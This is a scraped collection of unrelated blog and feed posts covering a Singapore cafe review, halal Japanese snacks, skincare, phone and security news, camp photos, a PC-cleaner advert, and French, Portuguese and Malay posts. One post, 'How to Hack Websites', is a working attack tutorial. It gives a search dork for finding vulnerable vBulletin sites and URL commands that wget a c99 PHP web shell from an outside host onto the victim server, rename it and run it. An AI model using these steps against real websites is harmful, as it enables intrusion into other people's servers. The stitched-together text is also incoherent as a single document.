Today I am going to blog about my dining experience at Butterscotch Cafe. I have seen photos of dishes from this cafe. The food looks visually appetizing. But it is a little out of the way. When I heard my friend's office is near this cafe, we decided to have our long overdue meet up here. It is located at Bukit Merah area. It is about 10 mins walk from Redhill MRT station. Fortunately, my friend and I did not get lost even when it is out first time and it was at night. When we reached there, both us agreed that it was an unexpected place to find a cafe. The place was much more 'ulu' than I expected haha.

You will need to wait once you reach there if the cafe is crowded. You can also leave your number and they will contact you once there are available seats. Since the indoor seating were full, we had to seat outside. It wasn't too bad because there were ceiling fans and there weren't many passerbys in the area.

I bought myself Bandung Soda Float  (S$6.50) and Chilli Crab Cake Burger (S$14). While my friend bought herself Chicken Chop with Eggs ($16) and Iced Matcha Green Tea (S$6.50). You opt for Chicken chop without egg which will cost S$2 cheaper.

Bandung Soda Float (S$6.50) and Iced Matcha Green Tea (S$6.50)

Chilli Crab Cake Burger (S$14) and Chicken Chop with Eggs (S$16)
The Chilli Crab Cake burger comes with wedges and the Chicken Chop comes with wedges and coleslaw. The crab cake had a really thick patty of real crab meat. It wasn't mixed with any other ingredients which is nice. The sauce is the typical Chilli Crab sauce but I feel it lacked spiciness. It wasn't even spicy for my standard. The Bandung Soda Float was a let down because I barely taste the bandung. I think it was overpowered by the soda and ice cream. I wished it has a stronger Rose water taste.

I tasted my friend's chicken chop and it was really good. This might not make sense because it was so good that it tasted like steak. The meat was juicy too. It is different from your typical hawker centre chicken chop. It was worth the buy. I didn't taste my friend's Iced Matcha Green Tea but according to her it was pleasantly unique.

We were too full once we were done with our meals and hence did not order any dessert like what we initially planned. But the desserts were pretty pricey, they cost at least S$12.


Overall, I find that cafe serves pretty good food. Will definitely come back again because I just found out that it sells korean bingsu as well!! Have been craving for bingsu ever since I came back from korea and it definitely difficult to get halal bingsu in Singapore. I hope someone would open a halal bingsu store soon. Oh and lastly I apologize for the lousy photos in this post haha.

          Side-Talk: Halal Omiyage (Souvenir) from Japan        
As mentioned in my previous post, my eldest sister went to Japan in December 2014 and brought back lots of Japan face products. While she was there, she whatsapp us to help to her search online for halal mochi which she can bring as souvenirs for her muslim colleague. I look up on google and do not find any halal kochi that is already in Japanese market. However, I did find out that there are halal omiyage out there are halal certified by Nippon Asia Halal Association (NAHA). Interesting huh. Below is the halal logo of NAHA.

One of the product is "Arare", which is a type of rice crackers. It is product by Osama Rice Cracker Co. Pte Ltd. Do note that not all of their products are halal. So what is "Arare"? According to wikipedia, it is japanese confectionary made from glutinous rice. The difference from senbei is its size and shape. In other words it is fried mochi.



Okay great there are halal souvenirs but where do we buy them? We saw online that it can found in a shop called "Hyobando" along the row of shops at Asakusa Temple. But my sister said it is too out of the way for her. 


Photo credit: NAHA Facebook page

Then browse through NAHA Facebook Page. I found out that it is also sold at Narita Airport Terminal 1! I was thinking great then, she can buy it before she bought the plane. NAHA posted the photo below but did not state the exact location of it…like where in Terminal can it be bought.

Photo credit: NAHA Facebook page
So using my detective skills, I go Narita airport website to check the directory and look out for shops with similar display. The is called KONNICHIWA and the location is at:

Narita Airport Terminal 1
Level 4 of Central Building

So back to the story about my eldest sister. She say her departure hall is at Terminal 2 instead and most like would not be able to Terminal 1 first due to shortage of time. So I look for a way for her to buy the halal "Arare" online. Sakura Gate (link) enables you to buy online and provides delivery service to the Airport. Except you will need you to order in advance…and this is not possible for my sister. But I think the idea is genius! Tourists can now save time from looking for souvenirs while they are on holidays. I always find looking for souvenirs to but for others a waste of time HAHA. In the end, I said to me sister that I have no other solution for her.

So she finally returned to Singapore after her trip and reach home at 2am in the morning. I saw her carry this ANA paper bag with the 8 packets of halal "Arare" in it. I was like, where did you get it from. Apparently, it is sold in Narita Airport Terminal 2 as well. So another place for you to buy the halal "Arare" is at ANA FESTA lobby gift shop located at:

Narita Airport Terminal 2
Level 4 of the Main Building

My sister bought 2 flavours of halal "Arare, seaweed and red pepper. I only have photo of the seaweed one since we already ate the red pepper one. Heard there is going to be a new flavour (Wasabi) coming out soon.



For more information and updates of halal products in Japan, do visit NAHA Facebook page. 


          Review: Meishoku DET Clear Bright & Peel Peeling Jelly〈Mixed Berry Fragrance〉        
It is time for a new product review again. Before I do that, I would like to wish all my readers HAPPY 2015! May 2015 be a great year for all of you. 

My eldest sister brought home lots of Japan Skin products after her trip to Japan in December 2014. Some of the products are from popular brands in Singapore while some are brands that I have not heard before. On a side note, I simply love how the Japanese package their products, it makes me really excited to try out the products. One of the products that I would like shared with the product is DET Clear Bright & Peel Peeling Jelly with Mixed Berry Fragrance.




It states on the bottle that the peeling jelly can help to remove black-heads (Black-Heads OFF), exfoliate (Skin Rebirth), Dark Spot Care and remove sebum (Sebum OFF). 

Since it is directly from Japan, there is no english translation on the bottle. It states "Peeling Jelly" on the bottle, so I imagine it as your typical peeling mask until I google online for more information on the product. I found the information at Meishouku website.

Rather than a peeling mask, DET Clear Bright & Peel Peeling Jelly Gel is like a "glue jelly" that traps dirt on your skin as you rub on it. As you rub it will gather like small blobs of jelly. Here are some of photos of me trying the Peeling Jelly on my hands. This is not my first time using it though. I tried it  the first time few weeks ago on my face but did not document it on photos. Nevertheless, I will blog my  first experience after posting the photos.



As shown above the gel is clear and it has nice berry smell. For those who has sensitive skin, you can but one that is fragrance free.


I spread the gel and rub on my clean hand focusing on areas that feel rougher than the rest.


The gel will start clumping once it has trap the dirts. You can proceed to wash away the gel. It is pretty easy to wash away the gel. You just need normal temperatures water.


After washing the gel, my hand feels smoother. It might not be clear on photo. I used the gel on my right hand only and I can feel the difference in level of smoothness between my right and left hands.

So more on using the gel on my face. I feel that the gel is really helpful in removing dirt behind the wings of my nose. It is really difficult to remove dirt there using just facial wash and even using face scrub. I can feel that the area behind the wings of my nose substantially smoother. However, I did feel slight itchiness around the wings of nose after using the gel for the first time. But do not worry, the itchiness stopped  the next day and it doesn't occur again after subsequent use.

I feel that there is some reduction in white heads around my chin area and black heads on my nose. But doesn't really remove deep-seated black heads. After using the gel at night, you can really feel how smooth your skin has become when you are cleansing your face in the morning. I was really impressed when I first tried it.

So if you are looking for something that can help you exfoliate your skin, I recommend this over other face scrub because it is quite gentle on the skin compared to face scrub.

I rate this product 4.5/5,



          The Punt Euros podcast. Monday 13th June        
Euros Punt Podcast: Monday 13th June 0:0019:17 Share on Facebook twitter Google+ Jack Critchley is joined by Derek McGovern, Karl Matchett, Chris Mayer and David Swan to look ahead to Day 4 of the Euros. Including a preview of Belgium v Italy and Rep. of Ireland v Sweden
          Nexus 6 Pre-Orders Start November 12th At AT&T; Goes On Sale November 14th At Sprint        
Nexus 6 Preorders at ATT and Sprint

Good news for Nexus 6 fans. Google's latest Nexus phablet will start to become available for purchase at two major wireless carriers this week. 

AT&T has confirmed that the Nexus 6 will become available for pre-ordering starting on Wednesday, November 12th. The device is priced at $249 on-contract. Buyers, however, can opt to purchase the phablet at its full retail price of $682.99 and pay off that total amount over the course of 20, 24, or 30 regular monthly payments via AT&T's Next 12, Next 18, and Next 24 plans, respectively. Unfortunately, AT&T has not yet provided any shipping estimates for the Nexus 6 as of this writing. But it will not be long now until the carrier makes announcement regarding availability.

Two days later on Friday, November 14th, the Nexus 6 will become available on Sprint's stores. As announced by Sprint, the phablet will be priced at $696 off-contract, with $0 down payment and 24 regular monthly payments of $29 through the carrier's Easy Pay plan. 

Also, it should be noted that Sprint will only be offering the Midnight Blue 32 gigabyte edition of the Nexus 6 smartphone.

As one might notice, the device does have a rather high price tag. That may not be too surprising. The Nexus 6 smartphone after all sports an enormous 6-inch 2560 by 1440 resolution display screen, and a 13-megapixel rear camera. 

Hardware-wise, it packs a Snapdragon 805 processor, 32 gigabytes (or 64 gigabytes) of internal storage, 3 gigabytes of random access memory (RAM), and a powerful 3,220 mAh battery.

It is also the first smartphone to have Android 5.0 Lollipop, the newest version of the Android mobile operating system. This updated edition of the world's most popular smartphone OS is truly a joy to behold, featuring a neater design further enhanced with animations and a more user-friendly interface and environment.

In the last two weeks, the Nexus 6 has only been made available through the Google Play Store and directly from Motorola, the phone maker who collaborated with Google in bringing the phablet to life.

In a few days, users will be able to get them from two of the four major wireless carriers in 
the United States. While AT&T and Sprint have already joined the party, many are expecting the other big boys (T-Mobile and Verizon Wireless) to follow suit.

Interested to learn more about AT&T and Sprint offers? Browse AT&T phones and plans here, or explore Sprint deals here.

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          Comment on Actual Play: Monsterhearts, Session 1 by Rafinius        
Hey. Just found this. Seems like a pretty interesting actual play up till now. Hope that you still monitor new comments because I have a question: At the 01:11:06 mark you mention optional rules from something called "Bleeding Hearts and Trembling Voices". Could you please tell me where I can find those optional rules? I Googled it but could find nothing.
          Comment on Episode 210: Characterization by William Palmer        
Nice episode, I feel like y'all only scratched the surface on this one. I like the idea of characterization coming in the moment, from choices. So in a RPG context every time you have to make a choice or speak in character (which I guess is a choice) you decide in that moment who your character is, based on what has come before, and then from the directors stance, what you want to happen. in a video game context like Mass Effect every time you come to a decision point, the game is asking you to characterize your version of its protagonist to be either Paragon, neutral or correct. :) As much as we'd like perfect consistency, characterization changes (outside of intentional character arcs) whether we want it to or not. This comes from the gaps between play sessions, differences in our emotional play state (bleed), and the (almost necessarily) fluid nature of characters in the shared imagined landscape. This isn't a bad thing most of the time because it's minor and we modify our characters slightly based on the outcomes we as players would like to see. In a recent game of Eclipse Phase I just ran over Roll20 I had all the characters introduce themselves with a dream sequence. I made it very clear that this was to be an opportunity for solo storytelling and had everyone else follow the microscope rules of shutting up and not helping as to preserve a unique vision. It went over really well, even if we had a few more pauses for thought than normal, and even over Roll20 the characterization was very clear and shined through. That's another thing, characterization is much easier in person or through text than it is online which has always been one of my bigger pet peeves with online gaming. In person you get to use all of your senses, through text you get to expound as much as you'd like, online you're normally restricted to voice and actions. It makes you work harder and practice which brings a lot to in person games. Yet another thing, how quickly does a character come to you? Are most NPCs at the same level of characterization in their first min of screen time as say an ApoWo character? Obviously we know more about the ApoWo character but does that come through right away or do you build that character up with every interaction/decision? I would say the later. Another way to say that would be: Are most characters defined more by what's on their sheets or what's in our heads? Could y'all post a link to 183 days from the rants section? I seem to be having trouble finding it. https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#newwindow=1&q=183+days+rpg Oh, have y'all ever Janked (that's now a thing, I'm making it a thing) about practicing for RPGs? If not, I have a potentially stupid topic for a cast, Do You Practice for RPGs? We practice writing, tennis, medicine, improv, calculus, sex, woodworking, and juggling; why not RPGs? This may be something that I'm alone in doing but I first took up acting in local theater partially because I thought it would bring something to my "craft" of role-playing. A lot of the time when I'm watching movies (especially bad but interesting ones like "In Time" or Divergent) I'm thinking about how I would translate that into a game (Fate conversion and Misspent Youth in those cases) and I'm logging away interesting choices or details that I can later bring back to the table. Staying in genre can be difficult when you have 5 different peoples conceptions of what noir is. But when you reference a movie or book everyone is familiar with then people are suddenly on the same page both conceptually and thematically. In general when I'm about to play in a game, or even worse run one, I often immerse myself in fiction of that genre to get it right. which seems like practicing a genre for an RPG to me. I've watched more than a few online videos on voice acting (see Roll20 stuff above). My bedside readers are fiction and things like Long-Form Improv by Hauck and Writing 21st Century Fiction by Maass. I've even run experimental one shots before to test out narrative concepts, like extreme flashbacks that only tie in tangentially to the main story, or practice something else unusual. I've never really retroactively declared anything longer than a one shot practice before but my first couple of fumbling forays into RPGs with D&D (because of coarse it was D&D) could certainly be called practice. I know RPGs aren't supposed to have a goal per se but what I'm striving for are improvisational stories that surprise me, thrill me, and touch my heart. What I'm after is a fluid game with little overt communication about it between players in the moment (all I'm asking for is mind reading here!). What I desire is a game that could be written down and sold as a good book and I feel like that takes practice. I practice to impress others, I practice to feel more relaxed and confident, but most importantly I practice to have a more distilled, better quality of fun. P.S. Your'e welcome for the text wall!
          Grand trip day 2        
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          Grand trip day 1        
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          Banquet        






























          Horseback Riding        
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          Hershey Park        
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          Canoeing-Overnight        
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          Shchita Workshop        
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          Rope Coursing!        
Some pictures from our Rope-coursing trip. More will be available here











































          Paintball Shooting        
Everyone had a blast at paintball shooting today. As the saying goes, prepare for the worst and hope for the best - we were all prepared for mud-sliding and got paintball shooting instead (ask around for more details)



























          More Pizza        
Here in EGP, 
We are one big family
We are crazy about Pizza
And these pictures you must see:

 (This time we made it ourselves)



























                  
 Our awesome skating trip! Click here for more




















































          SIX FLAGS!!!        
On Tuesday, we spent a whole day in 

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          Did someone say Pizza?        
After a smashing Shabbos, the campers were complaining that there was no melava malka - after hearing chants of "We want pizza!", we decided to show them what pizza means EGP style. Off we went to Q-Cumber's and we were in for an amazing treat! 














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 After a smashing night activity of musical chairs, EGP style, we were all dragged out of our beds to go and take over a bowling alley, in our pajamas and smack in middle of the night!!!



























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          Day 2        

We had a very exciting day in EGP, capped with a barbeque and a special scavenger hunt






























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          First day in Camp        


 
























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          iOS Update Quashes Dangerous SSL Bug        

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Photo by: Duncan Hull


If you haven't gotten the iOS 7.0.6 update, you need to stop what you're doing and get it now. There's a dangerous SSL bug that can hurt you in numerous ways if you don't take care of it right away by updating your Apple operating system. Even if you have an older version, you're going to want to make sure you're protected and have the latest OS available for your particular mobile device.


Back in February of this year, it came out that not updating could lead to bad people being able to read and modify encrypted communications whether people were using iPhones, iPads or other iOS devices. As you might imagine, this upset a lot of people. The good news is that Apple was pretty quick at making sure an update was available for people who downloaded it.


And yet that's part of the problem - not everyone updates their operating system on their own, especially on their phone or mobile device. Some people have claimed that it wasn't a flaw and was built-in iOS as a means for people - like the NSA perhaps - to be able to spy on people easier. Apple denied the claims, of course, but if you Google around, you're going to find some interesting speculation about the "flaw" found in iOS.


According to Ars Technica, the problem may have gone beyond iOS mobile devices and actually affected Mac OS X users - even if they had all the current patches and updates installed! According to them, "[The] vulnerability has been confirmed in iOS versions 6.1.5, 7.0.4, and 7.0.5, and OS X 10.9.0 and 10.9.1." That's quite a wide vulnerability. And while Apple seemed to be working fast to squash the bug last month, there's a good chance that a lot of people still don't have it patched.


In order to make sure you stay safe, here are some specific tips you should follow.


  • Always Update - The first thing you want to do is make sure you ALWAYS update your OS when you find out there's a new version available.
  • Be Aware - In order to know when you should update your OS, you're going to make sure you're aware of major problems that have been found.
  • Act Quickly - The sooner you patch the vulnerable code, the sooner you're going to be safe from attacks.


While there's no guarantee your mobile devices are going to be safe and secure, you want to make sure you take whatever steps you can to guarantee that you're as safe as possible. If you have any thoughts or opinions about the latest iOS update that killed some major security flaws, feel free to leave a comment below and let us know what you're thinking.


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          WhatsApp spam used by ASProx Botnet to Deliver Kuluoz Malware        

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As you probably know, Facebook bought WhatsApp for an obscene amount of money in stock earlier this year. What you might not know is that there's a lot of WhatsApp spam that is being used by ASProx Botnet to deliver nasty Kuluoz malware to unsuspecting  users. This is not good news any way you look at the situation. Keep reading if you want to know more about this as well as what you should do to stay safe.


Here's a look at some of the dates when the WhatsApp problem has made Malcovery's "Today's Top Threats" list.


  1. SEPTEMBER 19, 23, 24, 25, 26
  2. OCTOBER 2, 3, 4, 7, 8, 9, 10, 11, 16, 17, 18, 21, 22, 23, 24, 25
  3. NOVEMBER 14
  4. JANUARY 9, 13, 15, 20, 28


Looking at that list, it's easy to start wondering why nothing has been done sooner about the problem. Additionally, it really makes you wonder why Facebook paid so much for the company by offering them stock options.


Going back to November of last year, ComputerWorld published an article about how WhatsApp was one of the top five brands imitated to deliver malware with spam. That's quite a bit of recognition - and not in a good way.


Here's a look at some specific ways you can stay safe and avoid Kuluoz and other malware.

  • Use Protection - The very first thing you want to do is make sure you're using some type of protection. The good news is that you don't need to spend a lot of money to get decent anti-virus software these days.
  • Update Protection - Having protection software is nice, but if you never update it at all, you're going to find that there's still a high chance your computer will get infected and quit working correctly.
  • Be Suspicious - If you're not sure of something online, you want to err on the side of caution and not take any unnecessary risks. Even with a brand like WhatsApp - that's connected to Facebook now - you want to be very careful and know what you're doing.
  • Educate Yourself - Last but most certainly not least, you should make an effort to stay informed about how malware works and the steps you can take to protect yourself from it whenever possible. This is really the best way you can make sure your computer stays safe and virus free.


Following the advice above, there's a good chance you'll be able to avoid WhatsApp spam and not get infected with Kuluoz malware. Still, it's a good idea to pay attention and update your anti-virus software all the time. If you have any experience with WhatsApp that's negative, please leave us a comment below. 







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          What is Remote Code Execution? How to Hack Websites        
According to Wikipedia, Remote Code Execution can be defined as “In computer security, arbitrary code execution or remote code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shell code to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution”

vBulletin RCE Injection

Few websites running vBulletin are vulnerable to Remote Code Execution, by exploiting the vulnerability we can get our PHP backdoor shell uploaded on the website. We’ll use a dork to find the vulnerable website.

Note: Don’t keep yourself restricted when it comes to using dorks, use other search engines too other than Google, like Bing, Yahoo etc. Use of multiple search engines will help you to get more vulnerable websites.

Dork: inurl:faq.php & intext:"Warning: system() [function.system]"

Now, select any website of your choice from th search result, and go to its faq.php page. If the website is vulnerable, you will get the following on the page.


You will get an error similar to Warning: system() [function.system]: Cannot execute a blank command in [path]/faq.php(324) : eval()'d code on line 1

So, firstly upload your PHP shell on any free hosting website or you can use sh3ll.org/c99.txt as it has already got an uploaded .txt shell. (We will be first uploading our shell in .txt form, and later will be changing the extension to .php after the upload process is completed.

Suppose the vulnerable website is http://www.vulnerable.com/faq.php. So in order to upload our shell enter the following in the URL bar:

http://www.vulnerable.com/faq.php?cmd=cd /tmp;wget http://sh3ll.org/c99.txt

To check if we were able to successfully upload our shell, enter the following in the URL bar 
http://www.vulnerable.com/faq.php?cmd=cd /tmp;ls -la c99.txt

Were c99.txt is the name of your uploaded shell. If we were successful in uploading our shell, we see the following text on the page. (Might be a little different in some cases)
-rw-r—r—1 nobody nobody

We know that our shell is successful uploaded on the website, now it’s time to change the file format from .txt to .php in order to execute it on the server.

http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
(You can change check.php to any other name of your choice)

Now, the file format is change. It’s time to execute our shell, so to execute it enter the following in the URL bar
http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
 

Bingo!! We successfully exploited vBulletin Remote Code Execution Vulnerability.


          How To Speed Up Your Computer with Optimo Pro        
Computer users are inundated with tribulations frequently. The way you eat food to keep you going and to keep you fit, likewise, computer machine also needs maintenance every now and then. Your body demands food to keep you going. So how can your computer lag behind? Computer optimization is the buzz word. Everyone wants to speed up computer to reap more benefits.

Regular holdups that stall the computer’s performance become a complete nuisance. Virus attacks, malware intrusions, Trojan horse, and other cruel problems slow down the speed of your system. But most of the users find it difficult to understand the problem and resolve them. What you require is good quality pc cleaner that deals with junk files, registry errors and much more.
Quite a few PC cleaners are doing the rounds in the market, some fake and some real. Fake ones rather than solving any setback embed a set of virus and infections that results in loss of time and money. Real ones effectively optimize your computer system that helps speed up computer.
Optimo Pro is software that comes with more than one program. They scan the computer within minutes and help the customer get back to work. Within months of its launch, Optimo Pro has had immense outreach and has helped computer users, be it consumers or business. The increased usage of Optimo Pro has been phenomenal.



What all it does?

  • Removes data footprints from at least 25 browsers
  • Protects your confidentiality
  • Wipes and cleanses up to 25 browsers like Google Chrome, Safari, Firefox
  • Takes care of the clutter that clogs the system
  • Features:
  • Windows Registry cleaner
  • Apps Errors cleaner
  • Files cleaner
  • Browser cleaner
  • Short cut cleaner
  • Trace cleaner
  • Registry Optimizer
  • Junk Files cleaner
  • PC Optimizer
  • Complete computer cleaning software



All these apps work in tandem with each other and help increase the speed of your PC. A PC cleaner acts a scrubber that scrubs manifold parts of the computer and helps keep it in good shape. Be it fixing your registry or cleaning junk files, it does all.
With the kind of success Optimo Pro has gathered, it becomes worthwhile to at least give it a try. Download Optimo Pro from www.optimopro.com  and make use of the trial version. Our customer service number is 1-800-413-1289. You can ask any question and we will be more than happy to serve you.

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Anna Asthesia is chief technial head in optimopro.com & working from last 5 years. She likes to write article on windows registry , computer problems & how to find genuine online tech support for Laptops, Computers & Smartphones.You can read her latest blogs on blog.optimopro.com


          Top 3 Apps To Change Your Android Interface        
Tried of your boring android default interface, want to try something new, to make it look more cool and different, if YES you are at the right place. Today in this post I will be telling you about some cool android application that will completely change the experience on your phone.So here's the list of Top 3 Android Application to make your phone more cool.GO Launcher EXThis is one of the most downloaded application on Google App Store for customizing the UI of the phone and make it awesome. It has got plenty of totally customizable themes which allows you to customize your icons, lock screens and much more.DownloadAviateAviate is a different type of app, it is totally different from other present on the app market. It changes as per your recent activity and also changes according your location. Sadly there are some bugs present but don't worry you won't have to deal which crashes. Although this application is available for download only on invites but if your lucky enough you will get a invite for free available on many tech portals.Download ThemerThemer is my personal favorite application, this is the best app for transforming the look of your android UI. There are more than 52,000 different looking homescreens for Themer available for downlaod. Every theme you download has got totally different style and layout.Download 


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          Scumland, Absinthe Pandemos        
Vous allez finir par croire que je suis payée par Walrus pour faire des avis sur leurs livres. Et bien pas du tout, juste que quand on aime, on ne compte pas, surtout avec une OPMORSE qui m'a permis de me plonger dans les pulps qui m’intéressaient depuis un moment. Bref, depuis que j'ai découvert la maison d'édition numérique (en 2013), je n'ai jamais été déçue par mes lectures. Eux et moi, on se comprend parfaitement. Et ce n'est pas ce Scumland qui va me faire changer d'avis !

Scumland, Absinthe Pandemos

Editeur : Walrus
Collection : Pulp
Année de parution : 2015
Format : epub

A lire si :
- Vous voulez du saignant
- Vous voulez de la misandrie

A ne pas lire si :
- Vous êtes un gros macho qui ne comprend pas toujours le second degrés et qui se prend la tête pour un rien
- Vous voulez une petite histoire mêmère

Présentation de l'éditeur :

La nature est hostile en dehors des cités, mais la société se porte mieux depuis la révolution misandre : désormais, devenir un esclave castré est ce qui peut arriver de mieux à un « chamallo » (Cisgenre Hetero Male Low Life). Traqués dans les jungles qui bordent les villes, les mâles sont ramenés à leur condition de matière première et servent de cobayes à des expériences souvent sanglantes et rarement pratiquées sous anesthésie. Ainsi exploités, ils contribuent à la survie de l’espèce… et grâce à la technomagie, on n’en perd plus une goutte !
Flora et Maddy sont deux traqueuses bien décidées à aider le SCUM — l’élite des tueuses professionnelles — à mettre la main sur un chamallo errant repéré aux abords de la cité. Armées de leurs machettes et d’une bonne dose de rage, elles enfourchent leurs motos et partent en chasse dans les ruines du vieux monde.

Mon avis

Au fur et à mesure de mes lectures, je me rends compte que je porte un intérêt grandissant pour les thèmes féministes et pour les personnages féminins qui ne sont pas de potentielles "princesse à sauver par un chevalier blanc alors qu'elles auraient pu être bien plus badass que ça".  Alors lorsque je vois un livre comme Scumland, autant le dire, je me jette dessus. Rien que la quatrième de couverture me donnait l'eau à la bouche et cela s'en parler de cette magnifique couverture (comme toutes celles de la collection pulp d'ailleurs). Je le savais Scumland et moi, on était fait pour bien s'entendre. Mon côté féministe parle beaucoup et comme je l'écoute beaucoup, je n'allais pas faire une impasse sur le roman.

Scumland nous plonge dans un monde misandre. Pour les personnes dans le fond qui ne savent pas voici une définition de misandre : Qui éprouve du mépris, voire de la haine, pour le sexe masculin ; qui témoigne de ce mépris (merci Larousse). La société créée après une apocalypse (laquelle, on ne sait pas) est une société féministe et féminine qui se base pas mal sur le SCUM Manifesto de Valérie Solanas (oui, j'ai fait des recherches et on peut le trouver là). Alors du coup, vu le dit manifeste, le roman allait être bien violent, surtout pour les hommes. Et je n'avais pas tord du tout.

Parce que de la violence, il y a en et pas qu'un peu. Rien que les premières pages risquent de faire mal à ces messieurs et réjouir toutes les femmes qui ont pu ou se sentent encore opprimées. Vient ensuite une partie plus calme, où l'on découvre le traitement réservé aux chamallos (aux hommes (enfin aux cisgenre male quoi)) grâce à la technomagie mais aussi le fonctionnement de la société misandre. Une société qui a banni tous ce qui pouvait être masculin (le travail, l'argent par exemple) et qui surtout oppressé les femmes à notre époque. Alors, ça risque pour certain d'avoir l'air totalement surréaliste, malheureusement, ce n'est pas tant le cas que ça. Disons que la plupart des femmes vont parfaitement comprendre le discours de cette société et qu'un certain nombre d'autres personnes vont crier à la misandrie et se plaindre. Bref, les bons machos vont nous lâcher de belles male tears.  Après la dite partie calme, on passe à la chasse aux chamallos et au retour de la violence. Et là aussi, nous allons avoir des male tears. 

Mais la violence n'est pas le point central du roman, juste ce qui le place finalement dans la collection pulp de Walrus. On y trouve plein de chose qui font réfléchir la bébé féministe que je suis. Et c'est là que personnellement j'ai trouvé tout l'interet du bouquin. Oui, le féminisme sur lequel il s’appuie est clairement anti-hommes, mais il me semble que l'auteure joue justement sur cela pour ouvrir un peu les consciences. Du coup, on se divertit beaucoup et en plus de ça, on réfléchit aussi. 

Au final, je l'ai bien aimé ce Scumland. Les personnages sont pas forcément ultra développés mais elles sont plaisantes à suivre, l'univers m'a fait bien plaisir et ça se lit facilement (à condition par contre de connaitre deux trois trucs sur le genre, le féminisme mais franchement, suffit de traîner un peu sur twitter ou pas loin de féministes pour les comprendre et sinon y a google au pire). Un livre bien sympathique et qui donne à la femme un rôle à sa hauteur (celle de personne qui n'a pas besoin d'un mec pour déboîter grave)(je raconte pas comme ça fait du bien ce genre de personnage hein). Bref, c'est du pulp, c'est du Walrus, c'est du bon. Et je m'en vais voir si je peux pas trouver d'autres livres (roman ou nouvelles) d'Absinthe Pandemos de ce pas.

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          Carla Perez recebe 10º troféu Dodô & Osmar        

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No ano em que completou 20 anos, o Trofeu Dodô & Osmar resgatou os melhores momentos do carnaval de Salvador nas últimas duas décadas, proporcionando aos artistas e convidados uma verdadeira viagem no tempo. A cerimônia de entrega dos troféus foi comandada por ninguém menos que a diva Ivete Sangalo e o ator Luis Miranda, no Teatro Castro Alves, em Salvador.

Na categoria de Melhor Bloco Infantil, Carla Perez comemorou a décima vitória do seu bloco Algodão Doce.

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          Manusia dan alergik        




Assalamualaikum..

Jika anda seorang yg super sihat, Alhamdulillah! Anda lah calon utama yg nia wajibkn utk membaca entri Ni. Kalau bukn sbb anda seorang yg sihat, anda tkkn mampu click link Ni dn bace blog nia. Tahniah diucapkan. :)

Wahai anda2 yg sihat, tahukah anda...bahawasanya di luar Sana , dn juga sini,,mungkin 1000 meter dr anda, betapa ramainya insan lain yg alergik mknn, alergik itu alergik ini, tahukah anda? Tidak, mungkin anda tk pernah ambil peduli, sebab itu bukan urusan anda.

Ya, benar., memang anda tk perlu ambil peduli. Nia izinkn anda utk buat tk tau. Tapi dgn satu syarat. Mulut mesti jaga. :)

Allah kurniakan mulut, bukan utk menghina insan lain yg kurang sihat seperti anda yg super sehat. :)
Tahukah anda, .......

1. Ada manusia yg alergik dgn seafood. Kalau makan, mungkin akn menyebabkn sesak nafas. Mungkin hidung mereka bengkak, Boleh jadi jugak kulit akn gatal2 , dn sesetengah org akn ditumbuhi jerawat yg keterlaluan. Mereka2 ini majoritinya mempunyai sejenis penyakit bernama resdung. Okay?

2. Ada manusia yg tk Boleh minum sesetngah jenis minuman. Sebab boleh menyebabkn pening kepala. Kenapa. Boleh jadi minuman itu trlalu manis atau trlalu masam utk diterima system bdn mereka. Mengapa? Tanyalah sama Allah...bukankah Dia lebih mengetahui? Haa...kalau kite nk fikir, mmg tk dptt punye. Ada org tk boleh minum Milo,..ada org tk boleh minum guava...anggur...katanya Kalau diminum, akn pening kepala. ade org kalau minum kopi, minum teh, Perut kembung penuh angin. Knp? Nk dijelaskn secara saintifik mmg tk smue tahu. Jadi anggap sajalah smue Ni kerja Tuhan, haa kn senang begitu?

3. Ada manusia yg tk boleh makan kacang, asal mkn je, jerawat trus naik. Tp bukan smue jenis kacang.. Kacang Tanah je yg kuat bisa dye. Tapi trlalu ramai yg mentertawakan perkara ini,kononnye mitos, padahal mereka tk tau org yg alergik Ni sentiasa naik jerawat bila mkn kacang. Sebenarnya ramai lg yg alergik pd kacang, dn mereka ini mungkin tk perasan hakikat tu sebab muka mereka dh penuh dgn jerawat. Possible right? ;) ape2 pn, tahniah kpd yg Berjaya jaga muka. Sebenarnya Kalau ditanya pada artis2 bagaimana nk berkulit cantik, mereka juga akn berikn jwpn sama, iaitu, jgn mkn mknn berminyak. Tahukah anda kacang terkategori sebagai mknn berminyak? Haa, anda tidak tau! Kalau tk Ada knowledge, jgn syok sndiri ;)

4. Tahukah anda ade manusia yg alergik pd panadol? Pabila dimakan, Mata mereka trus membengkak seperti Mata katak O_O ya, anda mungkin tidak tahu kewujudan penyakit ini. Tapi yes, this kind of allergic sememangnya wujud dn sy sendiri menyaksikannya.

5. Tahukah anda wujudnya manusia yg alergik pd habuk? Pabila trlalu byk habuk, mereka akn bersin non stop..ade yg akn gatal2 kulitnya bila trkena habuk...menggaru2 tk berhenti. Anda anggap mereka mengada2, tp anda tk pernah selami perasaan mereka. Anda fikir mereka mahu jd begitu? Tidak, mereka tk mahu!



P/s:Jadi, akhir kata, sebagai manusia yg super duper sehat, bersyukurlah.. dn jgn pernah memperlekehkn org lain. Sihat hari ni, tk semestinya sihat selama2nya., jgn bila Allah dh tarik nikmat tu baru nk ingt pd Dia. Manusia kena bersimpati sesame manusia, wallahualam.

          Carla Perez anima Baile Infantil da Daniela Mercury        
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Carla Perez e Daniela Mercury na abertura oficial do carnaval, animaram um baile infantil em Salvador. Juntas, elas subiram ao palco, cantaram sucessos do axé e empolgaram centenas de crianças. Para a festa, as duas capricharam no figurino. Carla fez uma homenagem às artes plásticas com um vestido coberto de quadros famosos. "Como o tema é arte, vim com a roupa cheia de quadros. Tem (réplicas) de Caribé, a Monalisa de Da Vinci, uma aquarela...", disse. Já Daniela fez uma homenagem à dança usando uma roupa de bailarina.

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          Planet Girl invade o camarote Expresso 2222        
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Xanddy, vocalista do Harmonia do Samba
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Tomate
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Maria Maya, filha do diretor global Wolf Maia
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Zabelê, da banda SNZ
